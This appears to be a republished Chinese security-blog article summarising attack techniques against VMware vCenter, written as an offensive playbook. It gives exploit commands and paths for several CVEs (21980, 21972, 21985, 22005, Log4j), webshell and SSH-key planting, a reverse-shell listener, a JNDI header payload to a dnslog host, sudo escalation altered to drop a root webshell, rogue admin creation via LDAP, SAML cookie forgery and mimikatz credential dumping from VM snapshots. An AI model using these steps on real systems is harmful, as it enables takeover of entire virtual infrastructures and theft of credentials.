Vcenter攻击手法总结

admin 2023年5月12日09:36:59评论112 views字数 6971阅读23分14秒阅读模式

免责声明

由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把夜组安全设为星标”,否则可能就看不到了啦!

Vcenter攻击手法总结
Vcenter攻击手法总结

攻击手法

Vcenter攻击手法总结
Vcenter攻击手法总结

01

前言

Vcenter不用多说,懂的都懂,Vcenter是构建私有云基础架构的软件,它提供了一个可伸缩、可扩展的平台,为 虚拟化管理奠定了基础。VMware vCenter Server(以前称为 VMware VirtualCenterl),可集中管理 VMware vSphere 环境,与其他管理平台相比,极大地提高了 IT 管理员对虚拟环境的控制。

一句话概括:Vcenter是用来控制虚拟环境的,是一个集权系统,那么拿下它,就等同于拿下了它控制的所有虚拟主机。

02

小Tips

vcenter版本获取

/sdk/vimServiceVersions.xml

数据库位置

http://x.x.x.x/eam/vib?id=c:programDataVmwarevCenterServercfgvmware-vpxvcdb.properties

网络空间测绘

app="vmware-vCenter"或者 title="+ ID_VC_Welcome +"" ID_VC_Welcome +" && country="JP"

攻防流程

1、判断vcenter版本

2、扫描是否存在相关漏洞

3、低权限-提权-高权限

4、ldap添加用户、伪造cookie获取web后台权限

5、获取后台锁屏机器权限

03

获取低权限

任意文件读取漏洞CVE-2021-21980

影响范围

vCenter Server 6.7vCenter Server 6.5Cloud Foundation (vCenter Server) 3.x

漏洞利用

具体怎么利用呢?看下面:

1、可读取postgresql数据库配置文件

http://x.x.x.x/eam/vib?id=c:programDataVmwarevCenterServercfgvmware-vpxvcdb.properties
2、直接读取data.mdb文件,提取cookie,登录后台

读取data数据,然后提权cookie 从而登录到后台中

https://x.x.x.x/eam/vib?id=C:ProgramDataVMwarevCenterServerdatavmdirddata.mdb


CVE-2021-21972 rce

漏洞验证

Url拼接下面这个路径:

/ui/vropspluginui/rest/services/uploadova

如果页面返回状态码为200、405,则可能存在漏洞

影响版本

VMware vCenter Server 7.0系列 < 7.0.U1cVMware vCenter Server 6.7系列 < 6.7.U3lVMware vCenter Server 6.5系列 < 6.5 U3nVMware ESXi 7.0系列 < ESXi70U1c-17325551VMware ESXi 6.7系列 < ESXi670-202102401-SGVMware ESXi 6.5系列 < ESXi650-202102101-SG

可直接利用攻击脚本进行攻击利用!

需要根据windowslinux 系统,不断的拼接url, 攻击脚本至少需要写120次,寻找真实的绝对路径,受网络问题影响较大,如果写入成功,就会直接回显shell地址。 

windows系统

附上工具链接:

https://github.com/horizon3ai/CVE-2021-21972

python CVE-2021-21972.py -t x.x.x.x -p ProgramDataVMwarevCenterServerdataperfchartstc-instancewebappsstatsreportgsl.jsp -o win -f gsl.jsp参数用法含义如下:
-t (目标地址)-f (上传的文件)-p (上传后的webshell路径,默认不用改)

上传后的路径为

https://x.x.x.x/statsreport/gsl.jsp

完整路径为

C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport

Vcenter攻击手法总结

Windows路径

../../../../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/log.jsp

对应shell地址是/statsreport/log.jsp

Linux系统

思路:写webshell、写私钥

1、写公私钥(需要22端口开放)

往目录../../home/vsphere-ui/.ssh/authorized_keys写就行

python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub


2、遍历写shell(时间较久)

Linux  shell路径

../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/log.jsp

对应shell地址是/ui/resources/log.jsp

工具链接:

https://github.com/NS-Sp4ce/CVE-2021-21972

Vcenter攻击手法总结



CVE-2021-21985 rce

可利用脚本直接攻击vcenter_cve_2021_21985 。

影响版本

VMware vCenter Server 7.0系列 < 7.0.U2bVMware vCenter Server 6.7系列 < 6.7.U3nVMware vCenter Server 6.5系列 < 6.5 U3pVMware Cloud Foundation 4.x 系列 < 4.2.1VMware Cloud Foundation 4.x 系列 < 3.10.2.1


出网利用

工具链接:

https://github.com/r0ckysec/CVE-2021-21985

用法如下:

1、在vps

java -jar JNDIInjection-Bypass.jar 1099 <监听port>

2、在vps

# nc接收反弹shell

nc -lvvp <监听port> 

3、攻击机:
python cve-2021-21985_exp.py


条件:

需要目标出网

如果目标不出网,可以尝试研究下原理,打个内存马。感兴趣的可以私聊交流一下!!当然也可以看一下下面的不出网利用。


不出网利用

工具链接:

https://github.com/r0ckysec/CVE-2021-21985

具体原理:

利用ClassPathXmlApplicationContext类加载xml文件触发spel注入,weblogic和jackson都有关于这个类的cve,利用方式都差不多。

04

获取高权限

提权

对于上文通过漏洞获取的低权限主机,我们可以利用提权漏洞进行提权,高权限方便我们获取web后台权限

笔者认为vcenter大部分的Linux系统都是存在sudo提权漏洞的,所以这里着重介绍了sodu,如果使用sodu提权失败了,也可以尝试其他的提权方式。

1、CVE-2021-3156

https://github.com/worawit/CVE-2021-3156

vCenter的linux版可以直接用sudo提权(测了7u1和7u3j),直接用网上的python脚本。

重点讲讲两个脚本:

exploit_defaults_mailer.py

需要在交互的情景使用,使用后会在/tmp/目录下生成一个二进制文件,执行文件即可获得一个root的shell

exploit_userspec.py

往指定地点写入文件内容,这个脚本会往/etc/passwd目录下写入一个gg用户,其实就是一个任意文件写入的利用。

我们可以通过更改写入的路径和写入的内容,写一个root权限的webshell到vCenter服务器上

具体脚本,可以各位大佬们具体修改,这样才能发挥奇效。

我们可以通过更改写入的路径和写入的内容,写一个root权限的webshell到vCenter服务器上

Vcenter攻击手法总结

改动:

PASSWD_PATH=b’/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/1.jsp’APPEND_CONTENT=b’webshell内容’

即可在https://172.16.xx.xx/idm/..;/1.jsp (这里是用到了一个tomcat越权的tips,可以参考CVE-2021-22005的利用)得到一个root权限的webshell


如果想吃现成的,可以关注一下公众号,私信我哦!


2、其他提权

CVE-2022-0847 是Linux内核的本地提权漏洞。原理类似于Dirty Cow linux提权CVE-2021-4034 Linux polkit权限提升漏洞CVE-2021-3560CVE-2021-3493

等等其他一些提权cve,只要能提权,哪个漏洞其实都无所谓!


cve-2021-22005 任意文件上传

该漏洞获取的shell默认为root权限,可以直接读取mdb文件。

漏洞:

攻击者可通过VMware vCenter Server 443端口上传恶意文件,在vCenter Server上执行任意代码。

影响版本:

VMware vCenter Server 7.0系列 < 7.0.U2bVMware vCenter Server 6.7系列 < 6.7.U3nVMware vCenter Server 6.5系列 < 6.5 U3pVMware Cloud Foundation 4.x 系列 < 4.2.1VMware Cloud Foundation 4.x 系列 < 3.10.2.1

漏洞利用

https://github.com/shmilylty/cve-2021-22005-expexp.exe -t -s

如果不指定-s的话,会上传默认的cmd.jsp,可以指定自己生成的马儿。

上传后的webshell完整路径为:

/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp



CVE-2021-44228 Log4j

xff header jndi注入内存马

漏洞成因是Vcenter的SAML路由中,可以通过增加XFF头触发漏洞,把需要执行的命令跟在XFF后面。

目录攻击url: /websso/SAML2/SSO/vsphere.local?SAMLRequest=

poc :x-forwarded-for:{jndi}GET/websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1Host: 192.168.121.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDnt: 1X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Te: trailersConnection: close


DNSlog探测漏洞是否存在; 内网 不出网,可以在内网搭建ldap。  直接注入内存马


05

后渗透获取web权限

ldap添加用户

ldap直接添加vcenter管理员账号。需要高权限

第一步  在目标vcenter 导出ldap凭据信息

linux列ldap信息:

/opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINEservicesvmdir]'

windows:列ldap信息方法:

reg query '\HKEY_THIS_MACHINE\services\vmdir'reg query "HKLMSYSTEMCurrentControlSetservicesVMwareDirectoryService" /vdcAccountDN


第二步直接上脚本添加账户,再添加到管理员:

自己修改脚本:改成不input,避免密码的编码问题。 但是需要将ldap的凭证信息 填写进我们脚本中,然后一步到位。不用输入添加的账号和密码 。都是默认的

有linux、windows两个版本。

截图如下:

Vcenter攻击手法总结

Vcenter攻击手法总结

Vcenter攻击手法总结


老规矩:

如果想吃现成的,可以关注一下公众号,私信我哦!


伪造cookie

方法一

脚本:

https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py

1、获取data.mdb :

windows::

C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb

linux

/storage/db/vmware-vmdir/data.mdb

利用data.mdb 提取ldp证书  进行身份验证获取有效管理员的cookie

利用脚本进行攻击:

python vcenter_saml_login.py -t <目标机器内网ip> -p data.mdb

获取到cookie session

Vcenter攻击手法总结

直接使用生成的cookie访问vcenter服务器:http://xx.xx.xx.xx/ui

直接利用修改cookie工具进行修改cookie,进入后台。

Vcenter攻击手法总结


方法二 用于data.mdb比较大的情况

参考3gstudent的文章:

https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-vCenter-SAML-Certificates

与方法一的区别就是该脚本vCenter_ExtraCertFromMdb.py可以直接在目标vcenter上运行,会生成证书!

python vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb

然后把cat证书文件复制到本地,然后运行脚本vCenter_GenerateLoginCookie.py获得cookie


06

获取后台锁屏机器权限


方法一:Vmss2core Dump Hash



创建快照

Vcenter攻击手法总结

下载 .vmsn和.vmem文件到本地

Vcenter攻击手法总结

vmss2core工具对其进行文件格式转换

如果目标 VM 是 Microsoft Windows 8/8.1、Windows Server 2012、Windows Server 2016 或 Windows Server 2019,则执行-W8,否则使用-W:

.vmss2core-sb-8456865.exe -W8 '.Windows Server 2012-Snapshot1.vmsn' '.Windows Server 2012-Snapshot1.vmem'

Vcenter攻击手法总结

成功获取到内存文件


Vcenter攻击手法总结



使用windbg加载memory文件


Vcenter攻击手法总结
.load D:Downloadmimikatz_trunkx64mimilib.dll
Vcenter攻击手法总结重新加载
.Reload

查看lsass.exe进程的内存地址
!process 0 0 lsass.exe
Vcenter攻击手法总结
切换到lsass.exe进程中
.process /r /p ffffe001084e32c0
Vcenter攻击手法总结
运行mimikatz
!mimikatz

Vcenter攻击手法总结

方法二:KonBoot引导

笔者觉得,获取后台锁屏机器的权限,目前所有方法都是由风险的,不管是KonBoot引导,还是挂载VMDK,还是其他的方式,都或多或少都有点风险,所以不到万不得已,不要用这些骚操作!

笔者在这里只是简单说一下KonBoot引导,这个是笔者看来目前算是比较好用的方法了!有其他好用的方法,也可以私聊笔者一起讨论一下。

参考谢公子的文章:

https://mp.weixin.qq.com/s/Okxc4CdFRPe82UHN4UXQHQ

写的非常详细!!!推荐!!!!

07

往期精彩

Vcenter攻击手法总结

SQL注入代码审计工具


Vcenter攻击手法总结

对某菠菜站点的渗透笔记


Vcenter攻击手法总结

原文始发于微信公众号(夜组安全):Vcenter攻击手法总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月12日09:36:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vcenter攻击手法总结https://cn-sec.com/archives/1726122.html

发表评论

匿名网友 填写信息